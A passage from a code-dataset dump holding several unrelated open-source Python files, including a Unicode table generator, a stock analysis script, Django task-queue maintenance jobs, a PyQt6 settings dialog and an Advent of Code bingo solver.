right_bits) - 1\n mask_l = ~mask\n new_ranges = Range()\n for r in ranges:\n new_r = (r[0] & mask_l, r[1] | mask)\n new_ranges.append(new_r)\n return new_ranges\n\ndef FindInSortedRange(ranges, x, lo=0, hi=None):\n if hi is None:\n hi = len(ranges)\n if lo == hi:\n return lo\n m = (lo + hi) // 2\n if x < ranges[m][0]:\n return FindInSortedRange (ranges, x, lo, m)\n elif (m+1 < hi) and (x >= ranges[m+1][0]):\n return FindInSortedRange (ranges, x, m+1, hi)\n else:\n return m\n\ndef ParseProperties(filename, handler):\n with open(filename, \"r\") as f:\n for line in f:\n # Remove comment\n comment_pos = line.find ('#')\n if comment_pos >= 0: line = line[:comment_pos]\n line = line.strip()\n # Skip empty lines\n if not line: continue\n # Split line. Code points and properties are separated by ';'\n parts = line.split(';')\n for i, p in enumerate(parts):\n parts[i] = p.strip()\n # Might be a single code point, might be a range...\n codepoints = parts[0].split('..')\n # ...so always make sure it's a range\n if len(codepoints) == 1:\n codepoints[0] = int(codepoints[0], 16)\n codepoints.append(codepoints[0])\n else:\n codepoints[0] = int(codepoints[0], 16)\n codepoints[1] = int(codepoints[1], 16)\n parts[0] = tuple(codepoints)\n handler (parts)\n\ndef SplitRanges(ranges, right_bits):\n split = {}\n key_ranges = CompressRanges(ranges, right_bits)\n for r in ranges:\n for cp in range(r[0], r[1]+1):\n range_idx = FindInSortedRange (key_ranges, cp)\n assert(cp <= key_ranges[range_idx][1])\n key = key_ranges[range_idx]\n if not key in split:\n split[key] = ((key[1] - key[0] + 1 if right_bits > 0 else 0), [])\n split[key][1].append (cp)\n return split\n\n\n# Character sets\ndef PrintSetRanges(out_file, split, name, bytes_per_char):\n if bytes_per_char == 1:\n char_type = 'uint8_t'\n elif bytes_per_char == 2:\n char_type = 'Char16'\n else:\n char_type = 'Char32'\n print('static const {0} ucd_{1}[{2} * 2] = {{'.format (char_type, name, len(split)), file=out_file)\n for c in split:\n print('\\t{0}, {1},'.format (hex(c[0]), hex(c[1])), file=out_file)\n print(\"};\", file=out_file)\n\nOUTPUT_DIR = None\n\ndef ProcessSetRanges(ranges, name):\n print(name + \":\", file=sys.stderr)\n out_file = open (os.path.join (OUTPUT_DIR, '{0}.inc'.format (name)), \"w\")\n print('// Generated on {0} from Unicode {1} data'.format(datetime.datetime.now(), args.ucver), file=out_file)\n max_cp = 0\n for r in ranges:\n max_cp = max(max_cp, r[0], r[1])\n bytes_per_char = 1\n if max_cp >= 0x10000:\n bytes_per_char = 4\n elif max_cp >= 0x100:\n bytes_per_char = 2\n queries = int(math.ceil(math.log(len(ranges), 2)))\n print(\"queries:\", queries, file=sys.stderr)\n PrintSetRanges (out_file, ranges, name, bytes_per_char)\n\nclass Data_UI8_per_CP(object):\n type_str = 'uint8_t'\n\n def __init__(self, prop_map):\n self.prop_map = prop_map\n\n def WriteExtraMapDataDecl(self, out_file):\n return False\n\n def WriteExtraMapData(self, out_file):\n pass\n\n def StrForCP(self, cp):\n if cp in self.prop_map:\n val = self.prop_map[cp]\n else:\n val = 0\n return '{0:>3}'.format (val)\n\n @staticmethod\n def RangeDataSize(cp_range, prop_map):\n return (cp_range[1] - cp_range[0] + 1)\n\nclass Data_CP_Seq(object):\n type_str = 'uint32_t'\n\n def __init__(self, prop_map):\n self.prop_map = prop_map\n\n def _UTF16count(self, seq):\n n = 0\n for cp in seq:\n n += 1 if cp < 0x10000 else 2\n return n\n \n def WriteExtraMapDataDecl(self, out_file):\n self.ofs_for_cp = {}\n n = 0\n for cp in sorted(self.prop_map.keys()):\n seq = self.prop_map[cp]\n if len(seq) == 1: continue\n self.ofs_for_cp[cp] = n\n n += self._UTF16count(seq)\n print('\\tChar16 seqdata[{0}];'.format (n), file=out_file)\n return True\n\n def _UTF16convert(self, seq):\n seq_u16 = []\n for cp in seq:\n if cp < 0x10000:\n seq_u16.append(cp)\n else:\n cp -= 0x10000\n seq_u16.append(0xd800 | (cp >> 10))\n seq_u16.append(0xdc00 | (cp & 0x3ff))\n return seq_u16\n\n def WriteExtraMapData(self, out_file):\n print('\\t{', file=out_file)\n for cp in sorted(self.prop_map.keys()):\n seq = self.prop_map[cp]\n if len(seq) == 1: continue\n s = \"\"\n for seq_cp in self._UTF16convert(seq):\n s = s + '{0}, '.format (hex (seq_cp))\n print('\\t\\t{0}'.format (s.rstrip()), file=out_file)\n print('\\t},', file=out_file)\n\n def StrForCP(self, cp):\n if cp in self.prop_map:\n seq = self.prop_map[cp]\n if cp in self.ofs_for_cp:\n val = self.ofs_for_cp[cp] | ((self._UTF16count(seq)-1) << 24)\n else:\n val = seq[0]\n else:\n val = 0\n return hex(val)\n\n @staticmethod\n def RangeDataSize(cp_range, prop_map):\n num_ui32 = 0\n for cp in range(cp_range[0], cp_range[1]):\n if not cp in prop_map:\n num_ui32 += 1\n continue\n mapped_seq = prop_map[cp]\n if len(mapped_seq) == 1:\n num_ui32 += 1\n else:\n num_ui32 += 1 + len(mapped_seq)\n return num_ui32 * 4\n\n# Character maps\ndef PrintMapRanges(out_file, prop_map, ranges, name, bytes_per_char, datatype):\n if bytes_per_char == 1:\n char_type = 'uint8_t'\n elif bytes_per_char == 2:\n char_type = 'Char16'\n else:\n char_type = 'Char32'\n\n data_size = 0\n for c in ranges:\n data_size = data_size + c[1] - c[0] + 1\n\n save_data = datatype (prop_map)\n\n # Map data struct\n print('static const struct _ucd_{0}'.format (name), file=out_file)\n print('{', file=out_file)\n print('\\t{0} key[{1}*2];'.format (char_type, len(ranges)), file=out_file)\n print('\\tunsigned int idx[{0}];'.format (len(ranges)), file=out_file)\n print('\\t{0} data[{1}];'.format (datatype.type_str, data_size), file=out_file)\n have_extra_data = save_data.WriteExtraMapDataDecl(out_file)\n print('}} ucd_{0} = {{'.format (name), file=out_file)\n\n print('\\t{', file=out_file)\n for c in ranges:\n print('\\t\\t{0}, {1},'.format (hex(c[0]), hex(c[1])), file=out_file)\n print('\\t},', file=out_file)\n print('\\t{', file=out_file)\n i = 0\n for c in ranges:\n print('\\t\\t{0},'.format (i), file=out_file)\n i = i + c[1] - c[0] + 1\n print('\\t},', file=out_file)\n print('\\t{', file=out_file)\n for c in ranges:\n print('\\t\\t// {0} - {1}'.format (hex(c[0]), hex(c[1])), file=out_file)\n n = 0\n s = \"\"\n for cp in range(c[0], c[1]+1):\n if s and (n % 8 == 0):\n print('\\t\\t{0}'.format (s.rstrip()), file=out_file)\n s = ''\n s = s + save_data.StrForCP (cp) + ', '\n n = n + 1\n if s:\n print('\\t\\t{0}'.format (s.rstrip()), file=out_file)\n if have_extra_data:\n print('\\t}, ', file=out_file)\n else:\n print('\\t}', file=out_file)\n save_data.WriteExtraMapData(out_file)\n print('};', file=out_file)\n\ndef ProcessMap(prop_map, name, datatype):\n print(name + \":\", file=sys.stderr)\n out_file = open (os.path.join (OUTPUT_DIR, '{0}.inc'.format (name)), \"w\")\n print('// Generated on {0} from Unicode {1} data'.format(datetime.datetime.now(), args.ucver), file=out_file)\n max_cp = 0\n char_ranges = Range()\n for cp in sorted(prop_map):\n max_cp = max(max_cp, cp)\n char_ranges.append ((cp, cp))\n bytes_per_char = 1\n if max_cp >= 0x10000:\n bytes_per_char = 4\n elif max_cp >= 0x100:\n bytes_per_char = 2\n max_bits = int(math.ceil(math.log(max_cp, 2)))\n min_size = 0x7fffffff\n min_b = 0\n min_ranges = []\n for b in range(0, max_bits+1):\n compressed_ranges = CompressRanges (char_ranges, b)\n queries = int(math.ceil(math.log(len(compressed_ranges), 2)))\n # For each range need at least two CPs and a pointer\n s = len(compressed_ranges) * (bytes_per_char * 2 + 4)\n for r in compressed_ranges:\n s = s + datatype.RangeDataSize (r, prop_map)\n print(b, queries, s, file=sys.stderr)\n if s < min_size:\n min_size = s\n min_b = b\n min_ranges = compressed_ranges\n print(\"min:\", min_b, min_size, min_ranges, file=sys.stderr)\n PrintMapRanges (out_file, prop_map, min_ranges, name, bytes_per_char, datatype)\n\n\ndef LocateUCDData(ucddir, subdirs, filename):\n fullpath = os.path.join (ucddir, '/'.join (subdirs), filename)\n candidate = fullpath\n while candidate:\n if len(subdirs) > 0:\n subdirs = subdirs[:-1]\n next_candidate = os.path.join (ucddir, '/'.join (subdirs), filename)\n else:\n next_candidate = None\n if os.path.isfile(candidate):\n return candidate\n candidate = next_candidate\n # If no candidate exists, return 'right' path (and let consumer complain)\n return fullpath\n\n\nparser = argparse.ArgumentParser(description='Process UCD data')\nparser.add_argument('-d', '--ucd', dest='ucd_dir', required=True, help='UCD directory')\nparser.add_argument('-u', '--ucver', dest='ucver', required=True, help='Unicode version')\nparser.add_argument('-o', '--out', dest='out_dir', required=True, help='Output directory')\n\nargs = parser.parse_args()\n\nranges_White_Space = Range()\nranges_XID_Start = Range()\nranges_XID_Continue = Range()\ncombining_class = {}\ncanonical_decomp = {}\nranges_NFD_QC_No = Range()\n\ndef HandleBaseProp(prop_info):\n if prop_info[1] == 'White_Space':\n ranges_White_Space.append(prop_info[0])\n\ndef HandleDerivedProp(prop_info):\n if prop_info[1] == 'XID_Start':\n ranges_XID_Start.append(prop_info[0])\n elif prop_info[1] == 'XID_Continue':\n ranges_XID_Continue.append(prop_info[0])\n\ndef HandleCCProp(prop_info):\n ch_range, prop_str = prop_info\n cc = int(prop_str)\n if not cc:\n return\n for ch in range(ch_range[0], ch_range[1]+1):\n combining_class[ch] = cc\n\ndef HandleUnicodeData(prop_info):\n ch = prop_info[0]\n decomp = prop_info[5]\n if not decomp: return\n # Ignore compatibility mappings\n if decomp[0] == '<': return\n seq = []\n for cp_str in decomp.split(' '):\n if not cp_str: continue\n cp = int(cp_str, 16)\n seq.append (cp)\n canonical_decomp[ch[0]] = seq\n\ndef RecursivelyResolveDecompositions():\n global canonical_decomp\n do_resolve = True\n while do_resolve:\n do_resolve = False\n new_canonical_decomp = {}\n for cp, decomp in canonical_decomp.items():\n new_decomp = []\n for dcp in decomp:\n if dcp in canonical_decomp:\n new_decomp += canonical_decomp[dcp]\n do_resolve = True\n else:\n new_decomp.append (dcp)\n new_canonical_decomp[cp] = new_decomp\n canonical_decomp = new_canonical_decomp\n\ndef HandleDerivedNormProp(prop_info):\n if prop_info[1] != \"NFD_QC\": return\n ranges_NFD_QC_No.append(prop_info[0])\n\nParseProperties (LocateUCDData (args.ucd_dir, [], \"PropList.txt\"), HandleBaseProp)\nParseProperties (LocateUCDData (args.ucd_dir, ['extracted'], \"DerivedCoreProperties.txt\"), HandleDerivedProp)\nParseProperties (LocateUCDData (args.ucd_dir, ['extracted'], \"DerivedCombiningClass.txt\"), HandleCCProp)\nParseProperties (LocateUCDData (args.ucd_dir, [], \"UnicodeData.txt\"), HandleUnicodeData)\nParseProperties (LocateUCDData (args.ucd_dir, [], \"DerivedNormalizationProps.txt\"), HandleDerivedNormProp)\n\nOUTPUT_DIR = args.out_dir\nProcessSetRanges (ranges_White_Space, \"White_Space\")\nProcessSetRanges (ranges_XID_Start, \"XID_Start\")\nProcessSetRanges (ranges_XID_Continue, \"XID_Continue\")\nProcessMap (combining_class, \"CombiningClass\", Data_UI8_per_CP)\nProcessSetRanges (ranges_NFD_QC_No, \"NFD_QC_No\")\n\nRecursivelyResolveDecompositions()\nProcessMap (canonical_decomp, \"CanonicalDecomp\", Data_CP_Seq)\n","repo_name":"res2k/shader1","sub_path":"build/generate_char_data.py","file_name":"generate_char_data.py","file_ext":"py","file_size_in_byte":12330,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"34"} +{"seq_id":"30588967262","text":"import matplotlib.pyplot as plt\r\nimport pandas as pd\r\ngoogle_stock = pd.read_csv('Documents/NumPy/GOOG.csv', index_col = ['Date'], parse_dates = True, usecols = ['Date','Adj Close'])\r\napple_stock = pd.read_csv('Documents/NumPy/AAPL.csv', index_col = ['Date'], parse_dates = True, usecols = ['Date','Adj Close'])\r\namazon_stock = pd.read_csv('Documents/NumPy/AMZN.csv', index_col = ['Date'], parse_dates = True, usecols = ['Date','Adj Close'])\r\ngoogle_stock = google_stock.rename(columns ={'Adj Close':'Google'})\r\napple_stock = apple_stock.rename(columns ={'Adj Close' : 'Apple'})\r\namazon_stock = amazon_stock.rename(columns ={'Adj Close' : 'Amazon'})\r\ndates = pd.date_range('2000-01-01', '2016-12-31')\r\nall_stocks = pd.DataFrame(index = dates)\r\nall_stocks = all_stocks.join(google_stock)\r\nall_stocks = all_stocks.join(apple_stock)\r\nall_stocks = all_stocks.join(amazon_stock)\r\nnan_values = all_stocks.isnull().sum().sum()\r\nall_stocks.dropna(axis=0)\r\nprint('Average stock price:\\n', all_stocks.mean())\r\nprint('\\nMedian stock price:\\n', all_stocks.median())\r\nprint('\\nStandard deviation:\\n', all_stocks.std())\r\nprint('\\nCorrelation:\\n', all_stocks.corr())\r\nrollingMean = google_stock.rolling(150).mean()\r\nplt.plot(all_stocks['Google'])\r\nplt.plot(rollingMean)\r\nplt.legend(['Google Stock Price', 'Rolling Mean'])\r\nplt.show()\r\n","repo_name":"luigifrascarelli/AI-Programming-with-Python","sub_path":"stock_data.py","file_name":"stock_data.py","file_ext":"py","file_size_in_byte":1320,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"34"} +{"seq_id":"29167116649","text":"#! /usr/bin/env python\n\n# This tester listens on port 8051 for a single http request, with\n# a URL that starts with /api/v....\n# It exits after one request.\n# It assumes that GeoIP is already installed on the current machine\n# with an installation of cvmfs-server, but reads the rest from\n# the current directory.\n\nfrom wsgiref.simple_server import make_server\n\nimport sys\nsys.path.append('.')\nsys.path.append('/usr/share/cvmfs-server/webapi')\n\nfrom ctypes import cdll\ncdll.LoadLibrary('/usr/share/cvmfs-server/webapi/GeoIP.so')\n\nexecfile('cvmfs-api.wsgi')\n\nimport socket\nhttpd = make_server(\n socket.gethostname(), # The host name.\n 8051, # A port number where to wait for the request.\n application # Our application object name, in this case a function.\n )\n\n# Wait for a single request, serve it and quit.\nhttpd.handle_request()\n","repo_name":"cvmfs/cvmfs","sub_path":"cvmfs/webapi/test-api.py","file_name":"test-api.py","file_ext":"py","file_size_in_byte":842,"program_lang":"python","lang":"en","doc_type":"code","stars":260,"dataset":"github-code","pt":"34"} +{"seq_id":"3449947314","text":"import cv2\nimport matplotlib.pyplot as plt\n\n\ndef read_image(image_file, haarcascade_frontalface_file):\n image = cv2.imread(image_file)\n grayscale_image = cv2.cvtColor(image, cv2.COLOR_RGB2GRAY)\n face_cascade = cv2.CascadeClassifier(haarcascade_frontalface_file)\n\n bounding_boxes = face_cascade.detectMultiScale(grayscale_image, 1.25, 6)\n #print(bounding_boxes[0])\n bb = bounding_boxes[0]\n x = bb[0]\n y = bb[1]\n w = bb[2]\n h = bb[3]\n\n\n # fig, ax = plt.subplots(1)\n # ax.imshow(grayscale_image, cmap=\"gray\")\n # rect = patches.Rectangle((bb[0], bb[1]), bb[2], bb[3]\n # ,linewidth=1,edgecolor='r',facecolor='none')\n # ax.add_patch(rect)\n\n za_treninanje_slika = grayscale_image[y:y+h, x:x+w]\n resized = cv2.resize(za_treninanje_slika, (96, 96))\n\n return resized, image, bb\n\ndef plot_image(network, image, load_file, normalize=True):\n plt.figure(dpi=250)\n if normalize:\n image = image / 255.0\n\n predicted = network.predict(image.reshape(1, -1), load_file=load_file)[0]\n plt.imshow(image, cmap=\"gray\")\n predicted = predicted * 48 + 48\n plt.scatter(predicted[::2], predicted[1::2], c=\"r\")\n plt.show()\n\n return predicted\n\ndef plot_original_image(original_image, predicted, bbox):\n plt.figure(dpi=250)\n x = bbox[0]\n y = bbox[1]\n w = bbox[2]\n h = bbox[3]\n\n plt.imshow(cv2.cvtColor(original_image, cv2.COLOR_BGR2RGB))\n plt.scatter(predicted[::2]*(121/96) + y, predicted[1::2]*(121/96) + x, c=\"w\"\n ,s=2)\n plt.show()\n\n","repo_name":"mihaelnikic/Detecting-Facial-Features-CNN","sub_path":"dataset/image_loader.py","file_name":"image_loader.py","file_ext":"py","file_size_in_byte":1553,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"34"} +{"seq_id":"32184753147","text":"from PyQt6 import QtCore, QtWidgets\nfrom PyQt6.QtWidgets import QDialog, QSizePolicy, QFormLayout, QHBoxLayout, QVBoxLayout, \\\n QSpacerItem, QLabel, QDialogButtonBox\n\nfrom agstoolbox.core.settings.settings import Settings, ConstSettings\nfrom agstoolbox.wdgts.at_dirlist_wdgt import DirListWidget\nfrom agstoolbox.wdgts.at_single_dir_wdgt import DirEditWidget\nfrom agstoolbox.wdgts_utils.get_self_path import get_app_path\nfrom agstoolbox import __version__\n\n\nclass SettingsDialog(QDialog):\n def __init__(self, parent: QtWidgets = None):\n QDialog.__init__(self, parent)\n self.setObjectName(\"SettingsDialog\")\n self.resize(512, 400)\n self.setSizeGripEnabled(True)\n\n self.label_settings_intro = QLabel(self)\n self.label_settings_intro.setObjectName(\"label_settings_intro\")\n self.label_settings_intro.setAlignment(QtCore.Qt.AlignmentFlag.AlignRight)\n\n self.run_at_startup_label = QLabel(self)\n self.run_at_startup_label.setObjectName(\"run_at_startup_label\")\n self.run_at_startup_checkbox = QtWidgets.QCheckBox(self)\n self.run_at_startup_checkbox.setObjectName(\"run_at_startup_checkbox\")\n\n self.base_install_dir_label = QLabel(self)\n self.base_install_dir_label.setObjectName(\"base_install_dir_label\")\n\n self.install_dir_line_edit = DirEditWidget(\n parent=self,\n initial_dir=Settings().get_tools_install_dir(),\n default_dir=ConstSettings().DEFAULT_TOOLS_INSTALL_DIR)\n\n self.label_editors = QtWidgets.QLabel(self)\n self.label_editors.setWordWrap(True)\n self.label_editors.setObjectName(\"label_editors\")\n\n self.external_editors_dir_search_list = DirListWidget(\n parent=self,\n default_dirs=ConstSettings().DEFAULT_EXT_EDITORS_SEARCH_DIRS,\n dirs=[])\n self.external_editors_dir_search_list.setObjectName(\"external_editors_dir_search_list\")\n\n self.label_projects = QtWidgets.QLabel(self)\n self.label_projects.setWordWrap(True)\n self.label_projects.setObjectName(\"label_projects\")\n\n self.project_dir_search_list = DirListWidget(\n parent=self,\n default_dirs=ConstSettings().DEFAULT_PROJECTS_SEARCH_DIRS,\n dirs=[])\n self.project_dir_search_list.setObjectName(\"project_dir_search_list\")\n\n self.button_box = QDialogButtonBox(self)\n self.button_box.setStandardButtons(\n QDialogButtonBox.StandardButton.Cancel | QDialogButtonBox.StandardButton.Ok)\n self.button_box.setObjectName(\"buttonBox\")\n\n self.formLayout = QFormLayout()\n self.formLayout.setObjectName(\"formLayout\")\n self.horizontalLayout_3 = QHBoxLayout(self)\n self.horizontalLayout_3.setObjectName(\"horizontalLayout_3\")\n self.verticalLayout_3 = QVBoxLayout()\n self.verticalLayout_3.setObjectName(\"verticalLayout_3\")\n self.verticalLayout_3.addWidget(self.label_settings_intro)\n\n # run at startup\n self.formLayout.setWidget(1, QFormLayout.ItemRole.FieldRole,\n self.run_at_startup_checkbox)\n self.formLayout.setWidget(1, QFormLayout.ItemRole.LabelRole, self.run_at_startup_label)\n\n # manual editor search dirs\n self.formLayout.setWidget(2, QFormLayout.ItemRole.FieldRole,\n self.external_editors_dir_search_list)\n self.formLayout.setWidget(2, QFormLayout.ItemRole.LabelRole, self.label_editors)\n\n # project search dirs\n self.formLayout.setWidget(3, QFormLayout.ItemRole.FieldRole,\n self.project_dir_search_list)\n self.formLayout.setWidget(3, QFormLayout.ItemRole.LabelRole, self.label_projects)\n\n # install tools dir\n self.formLayout.setWidget(4, QtWidgets.QFormLayout.ItemRole.FieldRole,\n self.install_dir_line_edit)\n self.formLayout.setWidget(4, QtWidgets.QFormLayout.ItemRole.LabelRole,\n self.base_install_dir_label)\n\n self.verticalLayout_3.addLayout(self.formLayout)\n spacer_item = QSpacerItem(20, 40, QSizePolicy.Policy.Minimum,\n QSizePolicy.Policy.Expanding)\n self.verticalLayout_3.addItem(spacer_item)\n self.verticalLayout_3.addWidget(self.button_box)\n self.horizontalLayout_3.addLayout(self.verticalLayout_3)\n\n self.retranslateUi()\n QtCore.QMetaObject.connectSlotsByName(self)\n\n self.apply_from_settings_to_dialog()\n self.button_box.accepted.connect(self.clicked_ok)\n self.button_box.rejected.connect(self.clicked_cancel)\n\n def apply_from_settings_to_dialog(self):\n Settings().set_app_path(get_app_path())\n\n run_at_startup = Settings().get_run_when_os_starts()\n self.run_at_startup_checkbox.setChecked(run_at_startup)\n\n dirs = Settings().get_manually_installed_editors_search_dirs()\n self.external_editors_dir_search_list.setDirs(dirs)\n\n dirs = Settings().get_project_search_dirs()\n self.project_dir_search_list.setDirs(dirs)\n\n install_dir = Settings().get_tools_install_dir()\n self.install_dir_line_edit.setText(install_dir)\n\n def apply_from_dialog_to_settings(self):\n Settings().set_app_path(get_app_path())\n\n run_at_startup = self.run_at_startup_checkbox.isChecked()\n Settings().set_run_when_os_starts(run_at_startup)\n\n dirs = self.external_editors_dir_search_list.getDirs()\n Settings().set_manually_installed_editors_search_dirs(dirs)\n\n dirs = self.project_dir_search_list.getDirs()\n Settings().set_project_search_dirs(dirs)\n\n install_dir = self.install_dir_line_edit.text()\n try:\n Settings().set_tools_install_dir(install_dir)\n except ValueError:\n QtWidgets.QMessageBox.warning(\n self, \"Warning\", \"tools installation dir not found and not set.\")\n\n try:\n Settings().save()\n except OSError:\n QtWidgets.QMessageBox.warning(\n self, \"Warning\", \"failed to save settings.\")\n\n def retranslateUi(self):\n _translate = QtCore.QCoreApplication.translate\n self.setWindowTitle(_translate(\"SettingsDialog\", \"Settings\"))\n self.label_settings_intro.setText(\n \"AGS Toolbox \" + __version__ + \". \" +\n _translate(\"SettingsDialog\", \"Adjust settings here.\"))\n self.run_at_startup_label.setText(\n _translate(\"SettingsDialog\",\n \"Run on OS startup (experimental)\"))\n self.base_install_dir_label.setText(_translate(\"SettingsDialog\", \"Base install dir\"))\n self.label_editors.setText(\n _translate(\"SettingsDialog\", \"Externally installed AGS Editors search paths\"))\n self.label_projects.setText(\n _translate(\"SettingsDialog\", \"AGS Game projects search paths\"))\n self.install_dir_line_edit.retranslateUi()\n self.project_dir_search_list.retranslateUi()\n self.external_editors_dir_search_list.retranslateUi()\n\n def closeEvent(self, evnt):\n QDialog.closeEvent(self, evnt)\n\n def clicked_ok(self):\n self.accept()\n\n def clicked_cancel(self):\n self.reject()\n\n def accept(self) -> None:\n self.apply_from_dialog_to_settings()\n self.apply_from_settings_to_dialog()\n QDialog.accept(self)\n\n def reject(self) -> None:\n self.apply_from_settings_to_dialog()\n QDialog.reject(self)\n","repo_name":"ericoporto/agstoolbox","sub_path":"src/agstoolbox/panels/at_settings_dialog.py","file_name":"at_settings_dialog.py","file_ext":"py","file_size_in_byte":7533,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"34"} +{"seq_id":"13992928745","text":"\ndef sort_children_by_age(family, all_individuals):\n \"\"\"\n Returns all children sorted in descending order by age\n :param family: The family to check for, if the CHIL tag is not present, returns the []\n :param all_individuals: All individuals, keyed by the INDI. Should have INDI, AGE, and NAME fields\n :return: The sorted list, or the empty list for no children\n \"\"\"\n try:\n children_ids = family[\"CHIL\"]\n except KeyError:\n return []\n children = [all_individuals[child_id] for child_id in children_ids if child_id in all_individuals]\n children.sort(key=lambda child: child[\"AGE\"], reverse=True)\n return children\n","repo_name":"daharrington1/CS555W","sub_path":"Utils/UserStory28.py","file_name":"UserStory28.py","file_ext":"py","file_size_in_byte":658,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"6936813956","text":"import cv2\n\nfor i in range(50):\n cap = cv2.VideoCapture(i, cv2.CAP_V4L2)\n print(f\"Trying camera index {i}.\")\n if not cap.read()[0]:\n continue\n cap.release()\n print(f\"Camera index {i} is available.\")\n\n\n#cmake /home/bennett/opencv -DCMAKE_BUILD_TYPE=RELEASE -DCMAKE_INSTALL_PREFIX=/usr/local\n","repo_name":"HeisenbergXXX/PI4_AdSkipper","sub_path":"findCamIndex.py","file_name":"findCamIndex.py","file_ext":"py","file_size_in_byte":312,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"33716065316","text":"from datetime import timedelta\nimport logging\n\nfrom django.utils import timezone\nfrom django.core.cache import cache\nfrom django.core.management import call_command\n\nfrom .backends import backend\nfrom .decorators import task\nfrom .models import Task\nfrom .utils import redis_connection\n\n\n@task\ndef clean_up(task, *args):\n \"\"\" Remove stale tasks.\n\n Only remove tasks that have succeeded, are older than the TTl, have\n no dependencies that are still incomplete.\n \"\"\"\n now = timezone.now()\n to_del = Task.objects.filter(\n status=Task.STATUS_SUCCESS,\n result_expiry__lte=now\n )\n if len(to_del):\n task.log('Cleaned up: {}'.format(', '.join([str(o.id) for o in to_del])))\n to_del.delete()\n\n\n@task\ndef clear_logs(cqt):\n \"\"\" Remove all logs from REDIS.\n \"\"\"\n with redis_connection() as con:\n for key in con.keys('cq:*:logs'):\n con.delete(key)\n\n\n@task\ndef retry_tasks(cqtask, *args, **kwargs):\n retry_delay = kwargs.pop('retry_delay', 1)\n retry = Task.objects.filter(status=Task.STATUS_RETRY)\n launched = 0\n for task in retry:\n next_retry = (task.retries ** 2) * timedelta(minutes=retry_delay)\n now = timezone.now()\n if not task.last_retry or (now - task.last_retry) >= next_retry:\n cqtask.log('Retrying: {}'.format(task.id))\n task.retry()\n launched += 1\n if launched >= 20: # cap at 20\n break\n\n\n@task\ndef check_lost(cqtask, *args):\n running_task_ids = backend.get_running_tasks()\n cqtask.log('Running tasks: {}'.format(running_task_ids), logging.DEBUG)\n queued_task_ids = backend.get_queued_tasks()\n cqtask.log('Queued tasks: {}'.format(queued_task_ids), logging.DEBUG)\n queued_tasks = Task.objects.filter(status=Task.STATUS_QUEUED)\n running_tasks = Task.objects.filter(status=Task.STATUS_RUNNING)\n for task in queued_tasks:\n if str(task.id) not in queued_task_ids:\n with cache.lock(str(task.id), timeout=2):\n if task.at_risk == Task.AT_RISK_QUEUED:\n cqtask.log('Lost in queue: {}'.format(task.id))\n task.status = Task.STATUS_LOST\n task._store_logs()\n task.save(update_fields=['status', 'details'])\n else:\n task.at_risk = Task.AT_RISK_QUEUED\n task.save(update_fields=['at_risk'])\n for task in running_tasks:\n if str(task.id) not in running_task_ids:\n with cache.lock(str(task.id), timeout=2):\n if task.at_risk == Task.AT_RISK_RUNNING:\n cqtask.log('Lost on worker: {}'.format(task.id))\n task.status = Task.STATUS_LOST\n task._store_logs()\n task.save(update_fields=['status', 'details'])\n else:\n task.at_risk = Task.AT_RISK_RUNNING\n task.save(update_fields=['at_risk'])\n\n\n@task\ndef maintenance(task):\n retry_tasks(task=task)\n check_lost(task=task)\n clean_up(task=task)\n\n\n@task\ndef call_command_task(task, *args, **kwargs):\n \"\"\"A wrapper to call management commands.\n \"\"\"\n return call_command(*args, **kwargs)\n\n\n@task\ndef memory_details(task, method=None):\n if method == 'pympler':\n from pympler import muppy, summary\n all_objs = muppy.get_objects()\n summary.print_(summary.summarize(all_objs))\n elif method == 'mem_top':\n from mem_top import mem_top\n task.log(mem_top())\n else:\n import subprocess\n import shlex\n result = subprocess.check_output(\n 'ps --no-headers -eo pmem,vsize,rss,pid,cmd | sort -k 1 -nr',\n shell=True\n )\n task.log('\\n' + result.decode('utf8'))\n","repo_name":"ryanmcgrath/django-cq","sub_path":"cq/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":3792,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"34"} +{"seq_id":"45771109331","text":"# encoding:utf-8\nimport copy\nimport random\nimport bisect #bisect_left　これで二部探索の大小検索が行える\nimport fractions #最小公倍数などはこっち\nimport math\nimport sys\nimport bisect\nimport collections\n\nmod = 10**9+7\nsys.setrecursionlimit(mod) # 再帰回数上限はでdefault1000\n\ndef LI(): return list(map(int, sys.stdin.readline().split()))\nN = int(input())\n\n\ndef factorint(N):\n\n table = []\n while(N > 1):\n for i in range(2,N+1):\n if N%i == 0:\n while N%i == 0:\n N = N//i\n table.append(i)\n break\n return table\n\nl = []\nfor n in range(1,N+1):\n l += factorint(n)\nc = collections.Counter(l)\ncom = {74:0,24:0,14:0,4:0,2:0}\n# print(c)\nfor key in c.keys():\n if c[key] >= 74:\n com[74] += 1\n if c[key] >= 24:\n com[24] += 1\n if c[key] >= 14:\n com[14] += 1\n if c[key] >= 4:\n com[4] += 1\n if c[key] >= 2:\n com[2] += 1\n# print(com)\nans = 0\nans += com[74]\nans += com[24] * (com[2] - 1)\nans += com[14] * (com[4] - 1)\nans += com[4] * (com[4] - 1)* (com[2] - 2) //2\nprint(ans)\n","repo_name":"seven320/AtCoder","sub_path":"114/D.py","file_name":"D.py","file_ext":"py","file_size_in_byte":1138,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"34"} +{"seq_id":"19295825405","text":"import pandas as pd\nimport numpy as np\nfrom typing import List, Tuple\n\ndef is_winning_board(board: pd.DataFrame):\n # Completed Row\n if 0 in board.sum(axis=1).values:\n return True\n\n # Completed Column\n if 0 in board.sum(axis=0).values:\n return True\n\n return False\n\ndef score_board(board):\n return board.sum(numeric_only=True).sum()\n\ndef read_file() -> Tuple[List[int], List[pd.DataFrame]]:\n with open(\"Day04/data.txt\") as f:\n lines = f.readlines()\n calls = list(map(int, lines[0].split(\",\")))\n\n line_number = 2\n boards = []\n\n while line_number < len(lines):\n current_board = pd.DataFrame(columns =['0', '1', '2', '3', '4'])\n for _ in range(5):\n row = [int(lines[line_number][i:i+2]) for i in range(0, len(lines[line_number]), 3)]\n current_board.loc[len(current_board)] = row\n line_number +=1\n boards.append(current_board)\n\n line_number += 1\n return calls, boards\n\n\ndef play(calls, boards, 